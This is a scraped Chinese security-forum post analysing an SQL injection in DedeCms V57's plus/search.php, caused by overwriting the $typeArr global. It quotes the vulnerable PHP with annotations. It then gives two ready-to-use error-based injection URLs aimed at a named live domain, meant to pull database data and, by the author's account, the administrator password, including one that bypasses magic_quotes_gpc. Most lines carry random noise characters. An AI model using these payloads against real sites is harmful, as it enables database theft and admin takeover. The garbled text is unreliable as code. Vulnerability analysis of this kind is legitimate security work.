找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2119|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.) k1 s4 ~# X7 R  u8 _
作者: c4rp3nt3r@0x50sec.org
' k4 w! C, l8 l! SDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
: H! O, W/ n0 E$ x; I4 B2 b # ]' |* {7 t" i$ W" Y
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
9 h6 M7 N' H, I4 W; e$ V+ l 6 f+ H9 s, T4 j, _# C
============
2 t4 l* J  O5 t$ p  J4 @6 ~
0 R- q0 y4 g# m  o* }% B 1 s0 h& }8 c( f- Q. c* k  ~: h- ?
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
' \( ~* \0 s5 u) C
, o' o3 G; Q% k% Krequire_once(dirname(__FILE__).”/../include/common.inc.php”);" p2 k  B3 a9 d0 d
require_once(DEDEINC.”/arc.searchview.class.php”);
( b( z  R- D; ?- P) l  r: h/ p3 z & X" Z' i0 A5 c8 H+ j
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
+ ~0 q2 W2 W; t5 m; `, e$ a$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
" S0 s. e% V, ^) P6 _4 c$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;* e" F6 U/ p5 A/ n/ ]! a
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
" {9 i; T4 {6 H* U$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
* h+ w6 r4 o2 S' e" H2 i' w
* ?; o% ]( C1 T/ ]if(!isset($orderby)) $orderby=”;7 N: e# R3 [4 J
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
" Z- L3 P" Y, U) N6 j2 h1 J3 B
9 J  K% r& C  {! e& b% M- C1 Y
' W% S- ^+ q7 Y4 Y; i& x0 W2 x( Rif(!isset($searchtype)) $searchtype = ‘titlekeyword’;. ~2 c% w: c: {6 f. M0 s5 f) X4 X) s
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);+ |0 e5 {! O2 u6 G$ B6 t/ `% V: {7 x

, h, B* }3 n1 {6 X, D+ Fif(!isset($keyword)){
6 {8 i* ^0 q. a' ]$ y& e    if(!isset($q)) $q = ”;
  ?9 w2 R/ x0 k7 ^( C* A    $keyword=$q;
' Q" d- U0 Y! d  u6 g4 o. Q3 j}  Q& A" O8 Y$ H* ^! E! E" y

( f: X4 c2 y. z$ U$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));/ S9 p/ c1 Z6 f! |9 {7 ^3 n1 I0 D, {+ U

+ r2 j% ?. f  O1 k9 z$ g! O' ^//查找栏目信息
7 k3 B( G7 _* z4 [7 }: |if(empty($typeid))
& d6 F) z0 G; _{
; O% F( H3 K; z9 k' T$ Q* W$ `    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;* }  \/ T! Z8 @
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
8 ~7 F9 \+ C# |8 W2 Z    {& L. }  c4 X: f
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
+ P$ T. Q2 T5 c9 X! }: Z8 W+ y7 d7 T) J        fwrite($fp, “<”.”?php\r\n”);2 Y7 D( `: ^5 h* `5 K
        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);! _' Q- r$ a0 F, H5 r
        $dsql->Execute();
, I2 h- u( ^3 M2 T; c/ l9 N        while($row = $dsql->GetArray())5 d; w) V# u5 K3 W! s( e% \: B
        {
7 q% Q9 ^* ~; z            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
* l: w: b" D/ i' t        }1 A2 r: I& I% T3 s1 Q
        fwrite($fp, ‘?’.'>’);
# U7 m& g% l. {  N7 n, O; _        fclose($fp);8 e! R4 u6 z2 k& Q* t
    }# n: w4 l" t1 z0 S! T/ c8 a
    //引入栏目缓存并看关键字是否有相关栏目内容
) @9 j$ B3 [: T4 C; a  K/ t    require_once($typenameCacheFile);; v% T9 {4 q3 i7 E5 b" ]6 y
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
2 i5 c/ Y# N4 C' K; l//# _7 b9 O  R+ d
    if(isset($typeArr) && is_array($typeArr))
& w( A  ]! ]) {- @    {
/ d% [( b4 E8 y0 o3 |" j        foreach($typeArr as $id=>$typename)
, {+ c# R  I7 F3 N; H) \: L& H        {* M( c: M) ~1 H1 ^  B9 A
$ n* z9 g: T* |" D. I
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
  O2 P' }- K7 v0 W            if($keyword != $keywordn)1 f0 f) Y" H. P9 B# P% h+ a
            {
, p' u! Q& O5 F- Y% W. |0 S                $keyword = $keywordn;
/ E/ }! F' Q& _; P6 O' t& o  S                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
& ?* ^* {+ z/ H" t, w% |                break;
- w7 {" E, s. a0 E3 _1 k- t% \) i            }
% p3 R- q' ^; E; t: a1 G3 m& s        }
, h; Z/ H* B  A    }4 B0 a( q! Z: Y/ t7 W: W& O9 O
}
5 d0 A5 M8 C; s然后plus/search.php文件下面定义了一个 Search类的对象 .
; H+ X' h" q9 Y- w- F. X& B在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.: V: X6 ~9 l0 {% r, Z
$this->TypeLink = new TypeLink($typeid);
5 W+ M9 h( [1 h: C! ~1 u & L, t5 N& p5 R( k! U* L% w
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.9 F2 G$ }& U* K1 p& j9 e5 Y: u
4 E7 T4 Y2 D) @0 D: c
class TypeLink
' W" q1 \( }, G{+ ?4 N/ {% M+ ~# H$ x
    var $typeDir;6 J% y: u! |6 K6 t3 @
    var $dsql;
3 z5 b6 m& m* _) [$ A% S0 g    var $TypeID;
$ ]2 U" U  ^. }1 B& y# f    var $baseDir;# E7 q2 G: `! ]5 o9 ~% h) B8 E
    var $modDir;$ e2 H) R* d/ s$ Z
    var $indexUrl;
) ]  F4 d, {  X# [- w5 a( N    var $indexName;4 H" D* G; d7 z+ N
    var $TypeInfos;9 u, ~7 b% V5 D% q/ n
    var $SplitSymbol;
8 Q* t- v& w# N: z0 @    var $valuePosition;  x! Y, n2 S/ p0 P7 l
    var $valuePositionName;- C+ v" s' a9 E2 f8 j2 m
    var $OptionArrayList;//构造函数///////- y8 K& [7 \" ?+ U4 C3 _$ @4 g
    //php5构造函数
- }" Y1 i9 E5 F, ]! p    function __construct($typeid)! ^" F5 g5 a  ~5 d3 N* J
    {
6 D% Q; ]$ C+ f. f8 z" s5 x        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
+ n5 j5 {7 |/ Z* _        $this->indexName = $GLOBALS['cfg_indexname'];
6 `4 X2 t" i$ H! T/ R  X        $this->baseDir = $GLOBALS['cfg_basedir'];& h4 h+ b, I5 }
        $this->modDir = $GLOBALS['cfg_templets_dir'];4 c- |% l/ Z4 F/ o% _
        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
; @8 T0 I/ ~- @2 l& @        $this->dsql = $GLOBALS['dsql'];: f3 Z* Q" c( Y$ d- ~
        $this->TypeID = $typeid;8 Q8 C3 M2 Q# N# ~, @
        $this->valuePosition = ”;
7 y) F; U3 k8 y- B& E        $this->valuePositionName = ”;" H8 ?$ I+ @0 Y5 `2 y, S: v
        $this->typeDir = ”;
$ N  d# ], {2 c! _+ B% f7 y3 z# u        $this->OptionArrayList = ”;
/ G( ?$ ^- ~  c: f3 M/ c
" e: r& D0 L- e9 a  ^* @        //载入类目信息, |* m/ p3 u1 c1 K

- @) c' t1 L' J        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
4 K* O) I7 o  v4 pctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
' a! }/ R6 Q9 h7 ]9 Y- _`#@__channeltype` ch( l" Y' x) L& g
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿  i9 \8 @) I* U
, v1 g8 P" f6 \0 u
        if($typeid > 0)
- ?$ d9 T  U6 H6 L# o7 H/ [        {$ d* N3 o/ C' ?
            $this->TypeInfos = $this->dsql->GetOne($query);
/ s; w7 Y& j# S利用代码一 需要 即使magic_quotes_gpc = Off
$ \& w6 C5 A7 x& X 9 \. W/ N  D& M/ ?4 O
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title) \. S/ f9 G. ?

7 l6 v$ D; Z1 s) [* x' B* P7 T这只是其中一个利用代码… Search 类的构造函数再往下
$ N8 {; V7 {1 U  f! g4 O7 j
. m/ U5 ]- F4 b* X……省略
- P# z8 m; u0 ?4 y! }+ y# y4 `: U0 g$this->TypeID = $typeid;
( ?, W5 J- O- i+ r" j2 h( e% S……省略
+ N  q7 A+ h* {5 L5 ]5 fif($this->TypeID==”0″){4 C- A' I5 t% R2 s/ a9 \$ y  p
            $this->ChannelTypeid=1;
2 p7 J0 L/ _  M; a5 i9 K6 C        }else{
' q2 J6 p: {, }  `$ t( q5 d            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
' u& @' @# }; z3 e1 e9 G//现在不鸡肋了吧亲…* L& q/ c0 K+ m8 T" K  ?9 c
            $this->ChannelTypeid=$row['channeltype'];
7 E7 g, \9 o  s4 p
) w; U4 @; {; r7 S        }
+ O4 C0 B5 t! o3 M2 M利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
& q3 A% P# F% {1 t
* F8 l" U' p9 O4 W! x5 t! V9 f) ~9 W2 zwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title# o) ]7 o% p4 R0 r( c  W) O

  M2 s/ [9 Z7 Q; p如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
  K* j% s* j/ m0 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表